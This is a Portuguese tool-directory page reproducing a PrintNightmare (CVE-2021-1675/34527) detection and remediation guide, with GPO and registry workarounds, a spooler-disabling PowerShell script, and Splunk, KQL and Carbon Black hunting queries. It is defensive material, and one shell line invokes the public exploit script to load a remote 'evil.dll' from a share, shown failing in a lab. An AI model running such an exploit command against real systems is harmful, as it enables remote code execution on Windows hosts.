Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-1675 — CVE-2021-1675 Informação de Detecção | Kitploit
Ferramentas/GitHubGitHub/laresllc/cve-2021-1675
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAnálise ForenseAprendizado e EducaçãoResposta a IncidentesRecursos Curados
GitHublaresllc/cve-2021-1675

CVE-2021-1675

CVE-2021-1675 Informação de Detecção

Ver Repositório
214384há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Do Lares Labs: Informações de Detecção e Remediação para CVE-2021-1675 e CVE-2021-34527

🚨 Patch lançado:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527

Foi confirmado que o patch corrige RCE, porém a escalada de privilégio local parece ainda não estar corrigida. Portanto, as soluções alternativas listadas abaixo ainda são recomendadas.

Este repositório contém uma amostra EVTX do ataque CVE-2021-1675 e CVE-2021-34527, bem como um arquivo de configuração mínimo do Sysmon que pode ser usado para gerar a telemetria relevante.

Observe que essas regras podem ser contornadas - aplique o patch conforme apropriado e desabilite o serviço de spooler de impressão em controladores de domínio.

Teste todas as correções recomendadas antes de implantar em produção, pois pode haver consequências não intencionais resultantes dessas alterações de endurecimento. Escrevemos uma postagem no blog explicando o conteúdo deste repositório e as informações encontradas. Aqui: https://labs.lares.com/detection-and-mitigation-printnightmare/

Verificação de Vulnerabilidade por Marcello https://twitter.com/byt3bl33d3r

  • https://twitter.com/byt3bl33d3r/status/1412798525323157504

  • https://github.com/byt3bl33d3r/ItWasAllADream

Fluxograma

Graças a Benjamin Delpy, há um fluxograma atualizado sobre a exploração deste problema para determinar se seus sistemas são provavelmente vulneráveis.

Correções Mostradas no Fluxograma Acima

  1. GPO: Security Settings -> System Services -> Print Spooler -> Disable
    1. Registry: HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4
  2. GPO: Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections - > Disable
    1. Registry: HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2
  3. GPO: Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
    1. Registry: HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0
  4. Registry: HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1

Solução Alternativa

O patch lançado pela Microsoft em junho de 2021 corrige o CVE-2021-1675, mas infelizmente não corrige o problema conhecido como PrintNightmare (CVE-2021-34527). Portanto, uma correção alternativa pode ser aplicada desabilitando o serviço de spooler de impressão. Veja como fazer isso tanto no GPO quanto no PowerShell. Foi confirmado que o GPO corrige tanto a função MS-RPRN RpcAddPrinterDriverEx quanto a função Win32 AddPrinterDriverEx que o SharpPrintNightmare utiliza.

GPO

O seguinte GPO pode ser definido para negar conexões de clientes ao spooler, o que é uma solução alternativa potencial quando desabilitar completamente o serviço de spooler pode não ser uma opção. Isso foi testado em controladores de domínio e endpoints (W7/W10) em um ambiente de laboratório e os usuários ainda podem adicionar/remover impressoras e imprimir, no entanto, impede a exploração. Nota: Também se entende que este GPO também corrige CVE-2021-34527 conforme observado na página de vulnerabilidade da Microsoft.

Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections defina isso como Desabilitado:

Em seguida, reinicie o serviço de spooler no host afetado. Se tudo correr bem, a exploração será negada:

root@kitploit:~
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll'                                                                                    1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed

Remoção de Usuários Autenticados do Acesso Compatível com Pré-Windows 2000

Outra correção/solução alternativa é remover os usuários autenticados de Pre-Windows 2000 Compatible Access conforme descoberto por Dirk-jan.

Garanta que os grupos "Usuários Autenticados" não sejam membros do grupo "Acesso Compatível com Pré-Windows 2000". (Por padrão, esses grupos não estão incluídos nas versões atuais do Windows.) conforme mostrado na captura de tela abaixo, não deve haver membros:

Se tiver dúvidas sobre como fazer isso, as seguintes etapas podem ser seguidas:

  1. Abra "Usuários e Computadores do Active Directory" (disponível em vários menus ou execute "dsa.msc").
  2. Expanda o domínio sendo revisado no painel esquerdo e selecione o contêiner "Builtin".
  3. Clique duas vezes no grupo "Acesso Compatível com Pré-Windows 2000" no painel direito.
  4. Selecione a guia "Membros".
  5. Se os grupos "Logon Anônimo", "Usuários Autenticados" ou "Todos" forem membros, selecione cada um e clique em "Remover".

PowerShell

Adaptado do script do 0gtweet para usar ADDomainController para obter todos os DCs do domínio

root@kitploit:~
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory

$computers = Get-ADDomainController -filter * | %{ $_.name }

foreach ($computer in $computers)
{
    Write-Host "Processing $computer ..." 
    $service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
    if (!$service)
    {
        Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
        continue
    }
    if ($service.Status -ne "Running")
    {
        Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
        continue
    }
    $printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
    if (!$printers)
    {
        Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
        continue
    }

    $disableSpooler = $true
    foreach ($DriverName in ($printers.DriverName))
    {
        if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
        {
            Write-Host "  Printer found: $DriverName" -ForegroundColor Green
            $disableSpooler = $false
        }
    }
    if ($disableSpooler)
    {
        Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
        (Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
        Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose

    }
    else
    {
        Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
    }
}

Arquivo de Configuração do Sysmon

O arquivo de configuração do Sysmon fornecido CVE-2021-1675.xml pode ser instalado com o Sysmon Config Pusher: https://github.com/LaresLLC/SysmonConfigPusher

Consultas Splunk

root@kitploit:~
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)

Abordagem Alternativa

Uma maneira genérica de caçar exploração do Print Spooler é procurar por erros gerados pelo spooler de impressão devido ao carregamento da DLL de payload. Isso pode ser feito procurando pela criação de WerFault.exe por spoolsv.exe ou pela geração do ID de Evento 7031 mostrando terminação inesperada do serviço de spooler de impressão.

Consulta Splunk Alternativa

root@kitploit:~
((index=sysmon EventCode=1 
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe") 
OR (index=windows Channel=System EventCode=7031 
Message="The Print Spooler service terminated unexpectedly"))

Abordagem Adicional

Após vários testes de exploração da implementação do cube0x0, um artefato adicional foi encontrado: ID de Evento 5145 com Share Name: \\*\IPC$ e Relative Target Name: spoolss. As vantagens dessa abordagem é que você pode ver o IP de origem (Source Address) e a conta (Security ID ou Account Name) que foram usados para realizar o ataque. Pode haver falsos positivos de servidores de impressão reais, mas eles podem ser filtrados por hostname e Access Mask. Pode haver outros falsos positivos que podem ser filtrados pela combinação de hostname-username-access mask.

Consulta Splunk

root@kitploit:~
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss

Consulta KQL para Sentinel / MDE via Olaf Hartong

root@kitploit:~
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000) 
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"

Source: https://twitter.com/olafhartong/status/1410229699993874442

Observações do Zeek

Ferramenta Usada: https://github.com/cisagov/Malcolm

Transferência de arquivo DLL:

Autenticação NTLM da Máquina "Atacante":

Chamadas RPC Relevantes:

🟢 PCAP File Available

🟢 Zeek dce_rpc.log

Consulta de Caça Carbon Black para CVE-2021-1675

Source: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md

  • 1 Baseado na regra Sigma para detectar o código POC filemod_name:c:\windows\system32\spool\drivers\x64\3\old\1\123
  • 2 Baseado na regra Sigma para detectar o código POC (modload_name:c:\windows\system32\spool\drivers\x64\3* OR modload_name:c:\windows\system32\spool\drivers\x64\3\old*) AND parent_cmdline:spoolsv.exe
  • 3 Baseado na regra Sigma para detectar o código POC (modload_name:c:\windows\system32\spool\drivers\x64\3* OR modload_name:c:\windows\system32\spool\drivers\x64\3\old*) AND process_name:spoolsv.exe
  • 4 Detectando eventos de arquivo (não assinados), ajuste isso à sua linha de base. Não especifiquei o caminho do driver propositalmente aqui, pois a exploração e pós-exploração ainda estão um pouco incertas. Certifique-se de ajustar isso à sua linha de base (hash conhecido, etc). process_name:spoolsv.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
  • 5 Detectando eventos de arquivo (assinados por não MS), ajuste isso à sua linha de base process_name:spoolsv.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"

Referências

Posts no Twitter referenciando ataques e consultas de caça

  • https://twitter.com/ionstorm/status/1410258694386880518
  • https://twitter.com/dez_/status/1410298162548559875
  • https://twitter.com/markus_neis/status/1410255678996942854
  • https://twitter.com/cyb3rops/status/1410250996362715137
  • https://twitter.com/gentilkiwi/status/1410066827590447108
  • https://twitter.com/wdormann/status/1410198834970599425
  • https://twitter.com/NathanMcNulty/status/1410289115354914820
  • https://twitter.com/mvelazco/status/1410291741241102338
  • https://twitter.com/StanHacked/status/1410527329839980547
  • https://twitter.com/_dirkjan/status/1410618720460754947
  • https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery
  • https://twitter.com/cube0x0/status/1411364227089117185

Observações de Controlador de Domínio versus Não Controlador de Domínio via Benjamin Delpy:

  • https://twitter.com/gentilkiwi/status/1410614489167269892

Fluxograma muito útil via Stan Hegt do Outflank

  • https://twitter.com/StanHacked/status/1410922404252168196

Nova Atribuição CVE da Microsoft:

  • https://twitter.com/msftsecresponse/status/1410768945590636548

Diário ICS do SANS:

  • https://isc.sans.edu/forums/diary/CVE20211675+Incomplete+Patch+and+Leaked+RCE+Exploit/27588/
Baixar ferramenta